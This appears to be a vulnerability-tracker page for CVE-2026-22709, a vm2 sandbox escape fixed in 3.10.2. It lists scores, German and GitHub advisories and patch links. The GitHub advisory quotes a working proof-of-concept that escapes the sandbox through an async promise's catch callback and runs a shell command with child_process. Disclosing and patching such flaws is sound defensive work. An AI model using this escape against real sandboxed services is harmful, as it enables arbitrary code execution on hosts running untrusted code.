CVE-2026-22709
criticalpriority · track · 40EPSS 0.013 · 70 %ileDEEUUSEPSS · scored 2026-10-27
vm2 is an open source vm/sandbox for Node.js. In vm2 prior to version 3.10.2, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code. In lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object. Version 3.10.2 fixes the issue.
cvss
Technical severity, 0–10. One row per scoring source.
base score 0–10 · higher = more severe · hover a vector to decode
ssvc
A stakeholder decision — act, attend, or track — from exploitation and impact.
weaknesses
The CWE weakness classes this flaw belongs to.
affected products (7)
Products and version ranges known to be affected.
advisories (3)
Vendor and ecosystem advisories describing this.
- WID-SEC-W-2026-0223vm2: Schwachstelle ermöglicht CodeausführungDeutsch2026-01-26csaf · cert_bundDE
Ein entfernter, anonymer Angreifer kann eine Schwachstelle in vm2 ausnutzen, um beliebigen Programmcode auszuführen.
- WID-SEC-W-2026-1349vm2: Mehrere SchwachstellenDeutsch2026-05-03csaf · cert_bundDE
Ein Angreifer kann mehrere Schwachstellen in vm2 ausnutzen, um beliebigen Programmcode auszuführen, um einen Denial of Service Angriff durchzuführen, um Informationen offenzulegen, und um Sicherheitsvorkehrungen zu umgehen.
- GHSA-99p7-6v5w-7xg8vm2 has a Sandbox Escape2026-01-26ghsa · osvUS
In vm2 for version 3.10.0, `Promise.prototype.then` `Promise.prototype.catch` callback sanitization can be bypassed. This allows attackers to escape the sandbox and run arbitrary code. ```js const { VM } = require("vm2"); const code = ` const error = new Error(); error.name = Symbol(); const f = async () => error.stack; const promise = f(); promise.catch(e => { const Error = e.constructor; const Function = Error.constructor; const f = new Function( "process.mainModule.require('child_process').execSync('echo HELLO WORLD!', { stdio: 'inherit' })" ); f(); }); `; new VM().run(code); ``` In lib/setup-sandbox.js, the callback function of `localPromise.prototype.then` is sanitized, but `globalPromise.prototype.then` is not sanitized. The return value of async functions is `globalPromise` object.
also known as (3)
Other names and identifiers for this entity.
sources
Which sources assert this record, and when.
references (10)
External citations — patches, advisories, analysis.
- https://github.com/patriksimek/vm2/commit/4b009c2d4b1131c01810c1205e641d614c322a29cnnvd
- https://github.com/patriksimek/vm2/releasesPatchcnnvd
- https://github.com/patriksimek/vm2/releases/tag/v3.10.2cnnvd
- https://github.com/patriksimek/vm2/security/advisories/GHSA-99p7-6v5w-7xg8cnnvd
- https://github.com/patriksimek/vm2/commit/4b009c2d4b1131c01810c1205e641d614c322a29enisa_euvd
- https://github.com/patriksimek/vm2/releases/tag/v3.10.2enisa_euvd
- https://github.com/patriksimek/vm2/security/advisories/GHSA-99p7-6v5w-7xg8enisa_euvd
- https://github.com/patriksimek/vm2/commit/4b009c2d4b1131c01810c1205e641d614c322a29Patchnvd
Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.
Free scan